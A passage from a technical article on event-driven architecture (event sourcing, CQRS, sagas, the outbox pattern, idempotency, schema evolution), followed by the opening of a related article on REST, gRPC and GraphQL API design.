- Systems requiring massive scalability and variable loads
- Complex business workflows (order fulfillment, content publishing)
- Asynchronous operations (notifications, analytics, background processing)
- Multi-service coordination without tight coupling
- Systems where eventual consistency is acceptable

### Design Decision: Choosing Your Pattern

| Factor                      | Request-Driven      | Event-Driven               |
| --------------------------- | ------------------- | -------------------------- |
| **Consistency requirement** | Strong (ACID)       | Eventual acceptable        |
| **User feedback**           | Immediate required  | Delayed acceptable         |
| **Scale**                   | Moderate (<10K RPS) | High (>100K events/sec)    |
| **Consumer count**          | Fixed, known        | Variable, growing          |
| **Failure isolation**       | Cascading OK        | Must isolate               |
| **Team structure**          | Single team         | Multiple independent teams |

**Hybrid approach (most production systems)**: Request-driven for synchronous user interactions (checkout flow), event-driven for downstream processing (inventory update, shipping notification, analytics).

**Real-world: Uber's approach**: User-facing APIs are request-driven for immediate feedback. After the ride completes, an event triggers asynchronous processing: payment, receipt generation, driver rating prompt, fraud detection, analytics—all independent consumers of the "RideCompleted" event.

## Event Sourcing

### The Pattern

Event sourcing stores the complete history of state changes as a sequence of immutable events, rather than storing only the current state. Current state is derived by replaying events in order.

**Traditional state storage**:

```
User Table
| user_id | email           | name    | updated_at |
|---------|-----------------|---------|------------|
| 123     | new@example.com | Alice B | 2024-01-15 |
```

You see the current state but not how it got there.

**Event sourcing**:

```
Event Stream: user-123
| seq | event_type      | data                              | timestamp  |
|-----|-----------------|-----------------------------------|------------|
| 1   | UserCreated     | {email: "old@example.com", ...}   | 2023-06-01 |
| 2   | EmailChanged    | {old: "old@...", new: "new@..."}  | 2023-09-15 |
| 3   | NameUpdated     | {old: "Alice", new: "Alice B"}    | 2024-01-15 |
```

Current state = replay all events. Full audit trail preserved.

### Why Event Sourcing Exists

**Design reasoning**:

1. **Complete audit trail**: Every change is recorded. Critical for financial systems, healthcare, compliance-heavy domains.

2. **Temporal queries**: "What was the account balance on December 31?" Replay events up to that point.

3. **Debug production issues**: Replay events locally to reproduce exact production state.

4. **Reprocess with new logic**: Business rules changed? Replay events through updated projections.

5. **Event-driven integration**: Events are the natural integration point—other services subscribe to the same event stream.

### Projections: Building Read Models

Events are optimized for writing (append-only). Reading requires projections—denormalized views built by processing events.

**Projection types**:

| Type             | Update Timing             | Consistency | Use Case                                |
| ---------------- | ------------------------- | ----------- | --------------------------------------- |
| **Synchronous**  | Same transaction as event | Strong      | Critical reads that must reflect writes |
| **Asynchronous** | Background processing     | Eventual    | High-throughput reads, analytics        |
| **On-demand**    | At query time             | Strong      | Rarely-accessed historical views        |

**Example**: An e-commerce order stream produces events: `OrderPlaced`, `PaymentReceived`, `ItemShipped`. Projections might include:

- **Order status view**: For customer-facing "track my order"
- **Fulfillment queue**: For warehouse workers
- **Revenue dashboard**: For finance team
- **Fraud detection input**: For security team

Each projection optimizes for its consumer's access patterns.

### Snapshots: Optimization for Long Streams

Problem: Replaying 10 million events to reconstruct state is slow.

**Solution**: Periodically store a snapshot of current state. Replay only events after the snapshot.

**Snapshot strategies**:

| Strategy            | Implementation                 | Trade-off                             |
| ------------------- | ------------------------------ | ------------------------------------- |
| **Periodic**        | Every N events or T time       | Simple, predictable storage           |
| **Threshold-based** | When event count exceeds limit | Bounds worst-case replay              |
| **Eager**           | After every write              | Zero replay time, higher write cost   |
| **Lazy**            | On first read after threshold  | Amortizes cost, variable read latency |

**Implementation pattern**:

```
1. Load latest snapshot (if exists): state = snapshot.state, start_seq = snapshot.seq
2. Query events after snapshot: events = store.getEvents(stream_id, after: start_seq)
3. Apply events: for event in events: state = apply(state, event)
4. Optionally create new snapshot if event count exceeds threshold
```

**Storage considerations**: Snapshots can live in the same store as events or in separate storage (Redis, dedicated snapshot table). Separate storage enables different retention policies.

### Log Compaction

Kafka's log compaction offers an alternative to snapshots for key-based streams.

**Mechanism**: Periodically removes older events with the same key, keeping only the latest event per key.

**When to use**: Entity state streams where only current value matters (user preferences, configuration). Not suitable when full history is required.

**Trade-off**: Loses history for storage efficiency. Use for derived data, not source-of-truth event streams.

### Event Sourcing Trade-offs

**Benefits**:

- ✅ Complete audit trail
- ✅ Temporal queries ("state at time T")
- ✅ Debugging via event replay
- ✅ Reprocessing for new business logic
- ✅ Natural fit for event-driven integration

**Costs**:

- ❌ Schema evolution complexity (events are immutable)
- ❌ Storage growth (mitigation: snapshots, archival)
- ❌ Query complexity (must build projections)
- ❌ Eventual consistency between events and projections
- ❌ Learning curve for teams

**When NOT to use**:

- Simple CRUD with no audit requirements
- Domains without temporal query needs
- Teams without event-driven experience
- Systems requiring immediate strong consistency on reads

### Real-World: Netflix Downloads

**Problem**: Track license accounting for downloaded content—which users have which content on which devices, license expiration, and transaction history.

**Approach**: Cassandra-backed event sourcing.

**Key technique—delayed materialization**: Events contain only entity IDs, not full payloads. When building projections, the enrichment layer queries source services for current entity state. This avoids stale data from out-of-order events and guarantees projections reflect current reality.

**Trade-off accepted**: Added query latency during projection building in exchange for guaranteed consistency and smaller event payloads.

## CQRS: Command Query Responsibility Segregation

### The Pattern

CQRS separates the write model (commands) from the read model (queries). Commands modify state through domain logic; queries retrieve optimized read views.

<figure>

![CQRS separates write (command) and read (query) paths. Events synchronize them asynchronously.](./cqrs-separates-write-command-and-read-query-paths-events-synchronize-them-asynch.svg)

<figcaption>CQRS separates write (command) and read (query) paths. Events synchronize them asynchronously.</figcaption>
</figure>

### Why CQRS Exists

**The problem it solves**: Read and write patterns often have conflicting optimization needs.

| Concern          | Writes                       | Reads                      |
| ---------------- | ---------------------------- | -------------------------- |
| **Optimization** | Transactional integrity      | Query performance          |
| **Scaling**      | Single leader                | Many replicas              |
| **Schema**       | Normalized (avoid anomalies) | Denormalized (avoid joins) |
| **Throughput**   | Lower (complex validation)   | Higher (simple lookups)    |

**Traditional approach**: Single model serves both. Compromise on both.

**CQRS approach**: Optimize each independently. Accept eventual consistency between them.

### Design Choices

#### Option A: Simple CQRS (No Event Sourcing)

**Mechanism**: Single database with read replicas. Writes go to primary; reads go to replicas.

**When to use**:

- Read/write ratio is highly asymmetric (100:1 reads to writes)
- Eventual consistency (replica lag) is acceptable
- No need for event history

**Trade-offs**:

- ✅ Simple—standard database replication
- ✅ Minimal infrastructure change
- ❌ Limited read optimization (same schema as writes)
- ❌ No event history

#### Option B: CQRS with Separate Read Store

**Mechanism**: Commands update primary store; events synchronize to purpose-built read store (Elasticsearch, Redis, read-optimized tables).

**When to use**:

- Different query patterns need different storage (full-text search, graph queries, aggregations)
- Read performance requirements exceed what primary schema supports
- Can tolerate synchronization lag

**Trade-offs**:

- ✅ Each read model optimized for its access pattern
- ✅ Read scaling independent of write scaling
- ❌ Synchronization logic required
- ❌ Eventual consistency between stores
- ❌ Operational complexity (multiple stores)

#### Option C: CQRS with Event Sourcing

**Mechanism**: Commands produce events (event sourcing). Read models built as projections from event stream.

**When to use**:

- Need both CQRS benefits and event sourcing benefits
- Complex domain with multiple read patterns
- Audit trail and temporal queries required

**Trade-offs**:

- ✅ Full audit trail
- ✅ Projections can be rebuilt from events
- ✅ New read models added without touching write side
- ❌ Highest complexity
- ❌ Event schema evolution challenges
- ❌ Eventual consistency

### When CQRS Hurts

Martin Fowler cautions: "For most systems CQRS adds risky complexity."

**Avoid CQRS when**:

- Simple CRUD with no complex queries
- Read and write models are nearly identical
- Team lacks distributed systems experience
- Immediate consistency is required (or the lag tolerance window is very small)
- System doesn't justify the operational overhead

**Warning signs you don't need it**:

- Single read pattern (simple lookups by ID)
- Low traffic (< 1K RPS)
- Small team maintaining everything
- No distinct optimization needs for reads vs. writes

### Real-World: Why CQRS Makes Sense

**Scenario**: E-commerce product catalog.

**Writes**: Admin updates product details, inventory, pricing. Complex validation, business rules, audit requirements. Low frequency (hundreds/day).

**Reads**: Customer browses products. Needs denormalized view (product + reviews + inventory + pricing), full-text search, faceted filtering. High frequency (millions/day).

**CQRS solution**: Write model in PostgreSQL with normalized schema and business logic. Read model in Elasticsearch with denormalized documents. Events synchronize them.

**Outcome**: Writes maintain integrity; reads serve millions of queries with sub-100ms latency. Independent scaling.

## Saga Patterns: Distributed Transactions

### The Problem

Distributed systems can't use traditional ACID transactions across services. Each service has its own database; there's no distributed transaction coordinator.

**Example**: Place order requires:

1. Reserve inventory (Inventory Service)
2. Charge payment (Payment Service)
3. Create shipment (Shipping Service)

If payment fails after inventory is reserved, how do you rollback?

### Choreography: Decentralized Coordination

**Mechanism**: Each service reacts to events and publishes its own events. No central coordinator.

<figure>

![Choreography: services react to events, each triggering the next step without central coordination.](./choreography-services-react-to-events-each-triggering-the-next-step-without-cent.svg)

<figcaption>Choreography: services react to events, each triggering the next step without central coordination.</figcaption>
</figure>

**Trade-offs**:

- ✅ No single point of failure
- ✅ Services loosely coupled
- ✅ Easy to add new services (subscribe to events)
- ✅ Each service owns its logic
- ❌ Hard to understand full flow (spread across services)
- ❌ Difficult to debug failures
- ❌ Risk of cyclic event loops
- ❌ Testing requires full system

**Compensation in choreography**: Each service listens for failure events and compensates.

```
PaymentFailed event → Inventory listens → releases reservation
```

**Challenge**: Determining the right compensation when multiple services are involved. What if shipment already started when payment fails?

### Orchestration: Centralized Coordination

**Mechanism**: A saga orchestrator knows the workflow and commands each service in sequence.

<figure>

![Orchestration: central orchestrator commands services and handles the workflow.](./orchestration-central-orchestrator-commands-services-and-handles-the-workflow.svg)

<figcaption>Orchestration: central orchestrator commands services and handles the workflow.</figcaption>
</figure>

**Trade-offs**:

- ✅ Clear workflow—visible in one place
- ✅ Easier to understand and debug
- ✅ Explicit compensation paths
- ✅ Easier testing (test orchestrator logic)
- ❌ Orchestrator is single point of failure
- ❌ Orchestrator can become bottleneck
- ❌ More coupling (orchestrator knows all services)
- ❌ Orchestrator logic can become complex

**Compensation in orchestration**: Orchestrator explicitly calls compensating actions.

```
PaymentFailed → Orchestrator calls Inventory.ReleaseReservation()
```

### Decision: Choreography vs. Orchestration

| Factor                  | Choreography             | Orchestration               |
| ----------------------- | ------------------------ | --------------------------- |
| **Workflow complexity** | Simple (2-3 steps)       | Complex (5+ steps)          |
| **Visibility need**     | Low                      | High (audit, debugging)     |
| **Team structure**      | Independent teams        | Centralized platform team   |
| **Failure handling**    | Implicit (reactive)      | Explicit (programmed)       |
| **Scaling**             | Each service independent | Orchestrator may bottleneck |
| **Change frequency**    | Workflow rarely changes  | Workflow evolves often      |

**Common pattern**: Choreography for simple flows, orchestration for complex multi-step business processes.

### The Transactional Outbox Pattern

**Problem**: Dual-write consistency. Service must update its database AND publish an event. If it crashes between them:

- DB updated but event not published → downstream services miss the change
- Event published but DB not updated → downstream services see change that didn't persist

**Solution**: Write both to the database in a single transaction.

<figure>

![Transactional outbox: events written to outbox table in same transaction as state, then reliably published by separate process.](./transactional-outbox-events-written-to-outbox-table-in-same-transaction-as-state.svg)

<figcaption>Transactional outbox: events written to outbox table in same transaction as state, then reliably published by separate process.</figcaption>
</figure>

**Implementation**:

1. Service writes business state and event to outbox table in single transaction
2. Separate process (relay/publisher) polls outbox table
3. Relay publishes event to message broker
4. After successful publish, relay marks event as published (or deletes it)

**Why it works**: Database transaction guarantees atomicity. If transaction commits, event will eventually be published. If transaction fails, neither state nor event persists.

**Consideration**: Relay must handle duplicates (publish succeeded but marking as published failed). Consumers must be idempotent.

### Compensation and Failure Handling

**Compensation transaction**: Reverses the effect of a previously completed step.

| Action            | Compensation        |
| ----------------- | ------------------- |
| Reserve inventory | Release reservation |
| Charge payment    | Refund payment      |
| Create shipment   | Cancel shipment     |

**Critical design requirements**:

1. **Idempotent**: Safe to call multiple times (saga may retry)
2. **Order-independent**: When possible, compensations shouldn't depend on specific order
3. **Eventual**: May take time to complete (e.g., refund takes days)
4. **Business-aware**: Some things can't be undone (email sent, item shipped)

**Failure handling patterns**:

| Failure Type                    | Strategy                       |
| ------------------------------- | ------------------------------ |
| Transient (timeout, network)    | Retry with exponential backoff |
| Business (insufficient funds)   | Compensate and notify user     |
| System (service down)           | Circuit breaker, retry later   |
| Unrecoverable (data corruption) | Manual intervention, alert     |

## Idempotency: Designing Safe Consumers

### Why Idempotency is Non-Negotiable

Message brokers provide at-least-once delivery. Duplicates happen:

- Producer retry (acknowledgment lost)
- Consumer crash before offset commit (redelivery)
- Broker failover (may redeliver)
- Network issues causing retry

**Without idempotency**: Duplicate charge, double inventory deduction, multiple notifications.

**With idempotency**: Same result regardless of how many times message is processed.

### Idempotency Strategies

#### Strategy 1: Message ID Tracking

**Mechanism**: Track processed message IDs; skip if already seen.

```
receive(message):
  if message.id in processed_ids:
    return  // Already processed

  process(message)
  processed_ids.add(message.id)
```

**Challenge**: Must store all processed IDs forever, or risk accepting old duplicates after purge.

**Mitigation**: Time-windowed deduplication. Assume duplicates only arrive within N minutes; purge older IDs.

**Real-world**: AWS SQS FIFO uses 5-minute deduplication window. Kafka's idempotent producer uses effectively infinite window via producer epoch.

#### Strategy 2: Sequence Numbers per Entity

**Mechanism**: Producer assigns monotonic sequence per entity. Consumer tracks highest processed sequence per entity.

```
User 123: events with seq 1, 2, 3, 4...
Consumer stores: user_123_seq = 5

On receiving event with seq=3 for user 123: reject (already processed)
On receiving event with seq=6 for user 123: process, update to 6
```

**Advantage**: Store one number per entity, not all message IDs.

**Use case**: Event sourcing where events for an aggregate must be applied in order.

#### Strategy 3: Natural Idempotency

**Mechanism**: Some operations are idempotent by design.

```
// Idempotent: setting value
user.email = "new@example.com"  // Same result if done twice

// NOT idempotent: incrementing value
user.balance += 100  // Different result if done twice
```

**Design for idempotency**: Use "set" semantics instead of "increment" where possible.

**Example**: Instead of "add $100 to balance," store "set balance to $500 for transaction X." Replaying produces same result.

### Consumer Implementation Pattern

**Atomic check-and-process**:

```sql
BEGIN TRANSACTION
  -- Check for duplicate
  SELECT 1 FROM processed_events WHERE event_id = :event_id
  IF EXISTS THEN
    ROLLBACK
    RETURN  -- Already processed

  -- Process (business logic)
  UPDATE accounts SET balance = balance - :amount WHERE id = :account_id

  -- Record processed
  INSERT INTO processed_events (event_id, processed_at) VALUES (:event_id, NOW())
COMMIT
```

**Key**: Duplicate check and business logic must be in same transaction. Otherwise, crash between processing and recording creates inconsistency.

### Broker-Level Idempotency

**Kafka idempotent producer** (since v0.11):

- Producer assigned unique PID (producer ID)
- Each message has sequence number per partition
- Broker rejects duplicates from same producer session

**Limitation**: Only prevents duplicates from producer retries within a session. New producer instance gets new PID—application still needs end-to-end idempotency.

**Kafka transactions**:

- Atomic writes to multiple partitions
- `read_committed` isolation for consumers
- Enables exactly-once stream processing (Kafka Streams, Flink)

**Important distinction**: Kafka's exactly-once is about message delivery to consumers, NOT about application processing. External side effects (API calls, non-Kafka databases) still require application-level idempotency.

## Event Schema Evolution

### The Challenge

Events are immutable facts about the past. You can't "fix" old events—they represent what happened. But producers and consumers evolve. New fields needed. Old fields deprecated.

### Compatibility Types

| Type         | Definition                    | Producer/Consumer                   | Safe Changes            |
| ------------ | ----------------------------- | ----------------------------------- | ----------------------- |
| **Backward** | New consumers read old events | Add optional fields, add defaults   | Consumer upgrades first |
| **Forward**  | Old consumers read new events | Add optional fields, ignore unknown | Producer upgrades first |
| **Full**     | Both directions               | Add optional fields only            | Any order               |

**Backward compatibility**: Deploy new consumer, then new producer. New consumer handles both old and new events.

**Forward compatibility**: Deploy new producer, then new consumer. Old consumer ignores unknown fields.

**Full compatibility**: Deploy in any order. Most restrictive but most flexible operationally.

### Schema Registry Pattern

Central registry (e.g., Confluent Schema Registry) manages schema versions.

**How it works**:

1. Producer registers schema before publishing
2. Registry assigns schema ID and version
3. Registry validates new schema against compatibility rules
4. Messages include schema ID
5. Consumer fetches schema by ID for deserialization

**Benefits**:

- Schema validation before publish (fail fast)
- Compatibility enforcement (reject incompatible changes)
- Schema discovery (consumers know available schemas)
- Version tracking (audit trail of changes)

### Evolution Strategies

#### Strategy 1: Optional Fields Only

**Rule**: Never add required fields. Always provide defaults.

```json
// v1
{ "user_id": "123", "email": "a@b.com" }

// v2 - added optional field with default
{ "user_id": "123", "email": "a@b.com", "phone": null }
```

Old consumers ignore `phone`. New consumers use default if absent.

#### Strategy 2: Upcasting

**Mechanism**: Transform old event format to new format during read.

```python
def upcast(event):
    if event.version == 1:
        # Transform v1 to v2 format
        event.phone = None
        event.version = 2
    return event
```

**Benefit**: Event store unchanged. Transformation at consumer.

**Trade-off**: Adds processing overhead. Complex upcasting logic can become maintenance burden.

#### Strategy 3: New Event Types

**Mechanism**: Create new event type for breaking changes. Support both during transition.

```
// Old event type (deprecated, still consumed)
UserCreatedV1 { user_id, email }

// New event type
UserCreatedV2 { user_id, email, phone, created_at }
```

**Benefit**: Clean separation. No compatibility hacks.

**Trade-off**: Consumers must handle both types during transition period.

#### Strategy 4: Compensating Events

**Mechanism**: Don't modify past events. Append correcting events.

```
Event 1: UserCreated { user_id: 123, email: "wrong@email.com" }
Event 2: EmailCorrected { user_id: 123, old: "wrong@email.com", new: "correct@email.com" }
```

**Benefit**: Complete audit trail. History preserved.

**Trade-off**: Projection logic must handle corrections. Event stream grows.

### Schema Design Principles

1. **Keep events focused**: Include what's necessary, not entire entity state
2. **Use domain-specific names**: `CustomerRegistered` not `RecordCreated`
3. **Include metadata**: Event ID, timestamp, correlation ID, schema version
4. **Plan for evolution**: Design knowing schemas will change
5. **Document intent**: What does this event mean? When is it published?

## Eventual Consistency Patterns

### The Reality of Event-Driven Systems

Event-driven systems are eventually consistent by design. Producer publishes event; consumers process asynchronously. There's always a lag.

**Consistency windows**:

| System          | Typical Lag   | Acceptable For       |
| --------------- | ------------- | -------------------- |
| Same process    | ~0ms          | Internal state       |
| Same datacenter | 10-100ms      | Most applications    |
| Cross-region    | 100ms-1s+     | Global replication   |
| Human processes | Minutes-hours | Workflows, approvals |

### Read-Your-Writes Guarantee

**Problem**: User updates profile, immediately views it, sees old data. Frustration.

**Solution**: Ensure reads reflect the user's own writes.

**Implementation patterns**:

| Pattern                    | Mechanism                                   | Trade-off              |
| -------------------------- | ------------------------------------------- | ---------------------- |
| **Session affinity**       | Route user to same replica                  | Limited load balancing |
| **Read from leader**       | After write, read from leader for N seconds | Leader load increases  |
| **Version tracking**       | Include write version, reject stale reads   | Client complexity      |
| **Synchronous projection** | Update read model in same transaction       | Higher write latency   |

**Practical approach**: Track user's last write timestamp. For reads within N seconds of write, query the write model or wait for projection to catch up.

### Causal Consistency

**Guarantee**: Causally related events appear in same order to all consumers.

**Example**: User posts message A, then replies with message B. All consumers must see A before B. Messages from different users may interleave.

**Implementation**: Hybrid Logical Clocks (HLCs) or vector clocks track causal dependencies.

**Real-world: Slack**: Used HLCs for message ordering. Physical timestamps alone caused reordering with 50ms+ clock skew. HLCs preserve causal ordering while tolerating clock drift.

### Conflict Resolution

When concurrent updates occur across replicas, conflicts must be resolved.

#### Last-Write-Wins (LWW)

**Mechanism**: Retain update with latest timestamp.

**Trade-off**: Simple but loses data. The "last" write may not be the "correct" one.

**Use case**: Preferences, settings where last value is what matters.

#### Conflict-Free Replicated Data Types (CRDTs)

**Mechanism**: Data structures mathematically guaranteed to converge without coordination.

**Examples**:

- **G-Counter**: Grow-only counter. Each replica increments locally. Merge = sum of all.
- **PN-Counter**: Positive-negative counter. Two G-Counters (increments and decrements).
- **G-Set**: Grow-only set. Add elements, never remove.
- **OR-Set**: Observed-Remove set. Add and remove with unique tags.

**Trade-off**: Limited data types. Can't express arbitrary business logic.

**Use case**: Counters, sets, registers where automatic convergence is acceptable.

#### Custom Merge Logic

**Mechanism**: Domain-specific logic determines winner or merges values.

**Example**: Shopping cart conflict. User adds item on phone, different item on laptop. Merge = union of both carts.

**Trade-off**: Requires domain expertise. Complex to implement correctly.

## Common Pitfalls

### 1. Treating Events as Commands

**The mistake**: Events like `SendEmail` or `UpdateInventory` that tell consumers what to do.

**Why it happens**: Thinking request-response in an event-driven system.

**The consequence**: Tight coupling. Producer knows about consumer's implementation.

**The fix**: Events describe what happened (`EmailAddressChanged`), not what to do. Consumers decide their reaction.

### 2. Unbounded Event Streams Without Snapshots

**The mistake**: Replaying millions of events to reconstruct state.

**Why it happens**: "We'll add snapshots later."

**The consequence**: System startup takes minutes. Recovery from failures is slow.

**The fix**: Implement snapshots from the start. Set threshold (e.g., every 1,000 events).

### 3. No Schema Evolution Strategy

**The mistake**: Breaking changes to event schemas without compatibility.

**Why it happens**: "We control all consumers."

**The consequence**: Deployment requires coordinated big-bang update. Or consumers crash on unknown fields.

**The fix**: Schema registry with compatibility enforcement. Backward compatibility for consumer-first deployment.

### 4. Ignoring Idempotency

**The mistake**: Assuming exactly-once delivery.

**Why it happens**: "Kafka supports exactly-once."

**The consequence**: Duplicate charges, incorrect inventory, multiple notifications.

**The fix**: Always implement application-level idempotency. Broker guarantees are limited.

### 5. Hidden Temporal Coupling

**The mistake**: Events processed in wrong order cause failures.

**Why it happens**: Assuming events arrive in production order.

**The consequence**: `OrderShipped` processed before `OrderPlaced`. System in invalid state.

**The fix**: Design consumers to handle out-of-order events. Buffer and reorder, or use sagas with explicit ordering.

### 6. No Dead Letter Queue Strategy

**The mistake**: Poison messages block the queue forever.

**Why it happens**: "All messages should be processable."

**The consequence**: One malformed event stops all processing. Backlog grows.

**The fix**: DLQ for messages failing after N retries. Monitor DLQ size. Alert on growth.

## How to Choose

### Decision Framework

#### Step 1: Do You Need Event-Driven?

**Start with request-driven unless**:

- You need to add consumers without changing producers
- Throughput exceeds what synchronous calls support
- Services must scale independently
- Eventual consistency is acceptable
- You have multiple teams working on different services

#### Step 2: Event Sourcing?

**Add event sourcing if**:

- Audit trail is required (compliance, debugging)
- Temporal queries are needed ("state at time T")
- Reprocessing with new logic is valuable
- Domain is naturally event-based (financial transactions, IoT)

**Skip event sourcing if**:

- Simple CRUD without audit needs
- Team lacks event sourcing experience
- Immediate consistency required on reads

#### Step 3: CQRS?

**Add CQRS if**:

- Read and write patterns have different optimization needs
- Read traffic vastly exceeds writes (100:1+)
- Multiple query patterns need different storage
- Can tolerate eventual consistency on reads

**Skip CQRS if**:

- Read and write models are similar
- Traffic doesn't justify the complexity
- Immediate read consistency required

#### Step 4: Choreography vs. Orchestration?

| Factor           | Choose Choreography | Choose Orchestration |
| ---------------- | ------------------- | -------------------- |
| Workflow steps   | 2-3                 | 5+                   |
| Team structure   | Independent         | Central platform     |
| Debugging need   | Low                 | High                 |
| Change frequency | Stable              | Evolving             |

### Summary Decision Tree

```
Start: Do you need loose coupling and independent scaling?
│
├── No → Request-driven architecture
│
└── Yes → Event-driven
    │
    ├── Need audit trail or temporal queries?
    │   ├── No → Events as integration only
    │   └── Yes → Event sourcing
    │
    ├── Read/write patterns differ significantly?
    │   ├── No → Single model
    │   └── Yes → CQRS
    │
    └── Distributed transactions?
        ├── Simple (2-3 steps) → Choreography
        └── Complex (5+ steps) → Orchestration
```

## Conclusion

Event-driven architecture enables loose coupling, independent scaling, and complex workflow orchestration—at the cost of eventual consistency and operational complexity.

**Key patterns summarized**:

| Pattern                  | Core Idea                           | Use When                         |
| ------------------------ | ----------------------------------- | -------------------------------- |
| **Event-driven**         | Async events instead of sync calls  | Decoupling, scale, flexibility   |
| **Event sourcing**       | Events as source of truth           | Audit, temporal queries, replay  |
| **CQRS**                 | Separate read/write models          | Asymmetric read/write patterns   |
| **Choreography**         | Decentralized event reactions       | Simple flows, independent teams  |
| **Orchestration**        | Centralized workflow control        | Complex flows, visibility needed |
| **Transactional outbox** | Events in same transaction as state | Reliable event publishing        |
| **Idempotent consumers** | Same result on retry                | Any at-least-once system         |

**Production reality**: Most systems combine patterns. Uber, Netflix, and LinkedIn use request-driven for user-facing operations and event-driven for everything behind the immediate response. Event sourcing where audit trails matter. CQRS where read optimization justifies complexity.

The goal isn't architectural purity—it's matching patterns to actual requirements.

## Appendix

### Prerequisites

- Distributed systems fundamentals (consistency, availability, partition tolerance)
- Message queues and pub/sub concepts (covered in Queues and Pub/Sub article)
- Basic understanding of database transactions (ACID properties)
- Familiarity with microservices architecture

### Terminology

- **Event**: An immutable fact about something that happened in the past
- **Event sourcing**: Storing state as a sequence of events rather than current values
- **Projection**: A read model built by processing events
- **Snapshot**: A point-in-time capture of state to avoid replaying all events
- **CQRS**: Command Query Responsibility Segregation—separate read and write models
- **Saga**: A sequence of local transactions coordinated by events (choreography) or orchestrator
- **Choreography**: Decentralized coordination through event reactions
- **Orchestration**: Centralized coordination through explicit commands
- **Transactional outbox**: Writing events to database with state for reliable publishing
- **Idempotency**: Property where operation has same effect regardless of execution count
- **Schema evolution**: Changing event structure while maintaining compatibility
- **Eventual consistency**: System converges to consistent state over time
- **HLC**: Hybrid Logical Clock—combines physical and logical timestamps for causal ordering

### Summary

- Event-driven architecture decouples producers from consumers through asynchronous events
- Event sourcing stores events as source of truth—enables audit trails, temporal queries, and reprocessing
- CQRS separates read and write models—optimize each independently at cost of eventual consistency
- Sagas coordinate distributed transactions: choreography (decentralized) vs. orchestration (centralized)
- Transactional outbox ensures atomicity between state changes and event publishing
- Idempotent consumers are non-negotiable—at-least-once delivery means duplicates happen
- Schema evolution requires forward or backward compatibility; breaking changes need migration strategy
- Eventual consistency is the default—read-your-writes and causal consistency patterns help applications cope

### References

**Foundational Content**

- [Martin Fowler - Event Sourcing](https://martinfowler.com/eaaDev/EventSourcing.html) - Pattern definition and rationale
- [Martin Fowler - CQRS](https://martinfowler.com/bliki/CQRS.html) - Pattern definition with caution about complexity
- [Martin Fowler - What do you mean by "Event-Driven"?](https://martinfowler.com/articles/201701-event-driven.html) - Clarifying event-driven terminology
- [Lamport - Time, Clocks, and the Ordering of Events in a Distributed System](https://lamport.azurewebsites.net/pubs/time-clocks.pdf) - Foundational paper on logical clocks

**Platform Documentation**

- [Confluent - Designing Event-Driven Systems](https://www.confluent.io/resources/ebook/designing-event-driven-systems/) - Comprehensive ebook on event-driven patterns with Kafka
- [Confluent - Exactly-Once Semantics](https://www.confluent.io/blog/exactly-once-semantics-are-possible-heres-how-apache-kafka-does-it/) - How Kafka achieves exactly-once
- [AWS - Event-Driven Architecture](https://aws.amazon.com/event-driven-architecture/) - AWS patterns and services
- [AWS - Saga Pattern](https://docs.aws.amazon.com/prescriptive-guidance/latest/cloud-design-patterns/saga-choreography.html) - Choreography and orchestration patterns
- [AWS - Transactional Outbox Pattern](https://docs.aws.amazon.com/prescriptive-guidance/latest/cloud-design-patterns/transactional-outbox.html) - Implementation guidance

**Implementation Guides**

- [Axon Framework Documentation](https://docs.axoniq.io/) - CQRS and Event Sourcing framework for Java
- [Microservices.io - Event-Driven Architecture](https://microservices.io/patterns/data/event-driven-architecture.html) - Pattern catalog
- [Microservices.io - CQRS](https://microservices.io/patterns/data/cqrs.html) - Pattern definition
- [Microservices.io - Saga](https://microservices.io/patterns/data/saga.html) - Distributed transaction pattern
- [Microservices.io - Idempotent Consumer](https://microservices.io/patterns/communication-style/idempotent-consumer.html) - Idempotency implementation

**Engineering Blogs**

- [Netflix - Scaling Event Sourcing for Downloads](https://netflixtechblog.com/scaling-event-sourcing-for-netflix-downloads-episode-2-ce1b54d46eec) - Event sourcing at Netflix scale
- [LinkedIn - Running Kafka at Scale](https://engineering.linkedin.com/kafka/running-kafka-scale) - 800B events/day architecture
- [Uber - Scalable Real-Time Complex Event Processing](https://www.uber.com/blog/real-time-exactly-once-ad-event-processing/) - Kafka + Flink at Uber
- [Slack - Real-Time Messaging](https://slack.engineering/real-time-messaging/) - Event-driven architecture at Slack

**Books**

- [Martin Kleppmann - Designing Data-Intensive Applications](https://dataintensive.net/) - Chapter 11: Stream Processing, Chapter 12: Future of Data Systems
- [Gregor Hohpe - Enterprise Integration Patterns](https://www.enterpriseintegrationpatterns.com/) - Messaging patterns foundation
- [Vaughn Vernon - Implementing Domain-Driven Design](https://www.informit.com/store/implementing-domain-driven-design-9780321834577) - Event sourcing with DDD

---

## RPC and API Design

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/rpc-and-api-design
**Category:** System Design / System Design Fundamentals
**Description:** Choosing communication protocols and patterns for distributed systems. This article covers REST, gRPC, and GraphQL—their design trade-offs, when each excels, and real-world implementations. Also covers API versioning, pagination, rate limiting, and documentation strategies that scale.

# RPC and API Design

Choosing communication protocols and patterns for distributed systems. This article covers REST, gRPC, and GraphQL—their design trade-offs, when each excels, and real-world implementations. Also covers API versioning, pagination, rate limiting, and documentation strategies that scale.

<figure>

![API architecture: clients connect through a gateway that handles rate limiting and auth, then routes to appropriate protocol handlers. REST for public APIs, gRPC for internal service-to-service, GraphQL for flexible client queries.](./api-architecture-clients-connect-through-a-gateway-that-handles-rate-limiting-an.svg)

<figcaption>API architecture: clients connect through a gateway that handles rate limiting and auth, then routes to appropriate protocol handlers. REST for public APIs, gRPC for internal service-to-service, GraphQL for flexible client queries.</figcaption>
</figure>

## Abstract

API design is about matching communication patterns to constraints:

| Protocol    | Optimizes For                            | Sacrifices                         |
| ----------- | ---------------------------------------- | ---------------------------------- |
| **REST**    | Cacheability, uniform interface, tooling | Flexibility, efficiency            |
| **gRPC**    | Performance, type safety, streaming      | Browser support, human readability |
| **GraphQL** | Query flexibility, reducing round trips  | Caching, complexity                |

The core trade-off: **coupling vs efficiency**. REST's uniform interface decouples clients from servers but requires multiple round trips. gRPC's contract-first approach enables optimizations but couples clients to schema. GraphQL shifts query logic to clients but complicates server-side caching.

**Decision heuristic:**

- Public APIs: REST (tooling, cacheability, developer familiarity)
- Internal microservices: gRPC (performance, type safety)
- Mobile/frontend with varying data needs: GraphQL (reduce round trips)
- Real-time bidirectional: gRPC streaming or WebSockets

## REST: Constraints and Trade-offs

### Fielding's Architectural Constraints

REST (Representational State Transfer) is an architectural style defined by Roy Fielding in his 2000 dissertation while co-authoring HTTP/1.1. It's not a protocol—it's a set of constraints that, when followed, yield specific architectural properties.

**The six constraints:**

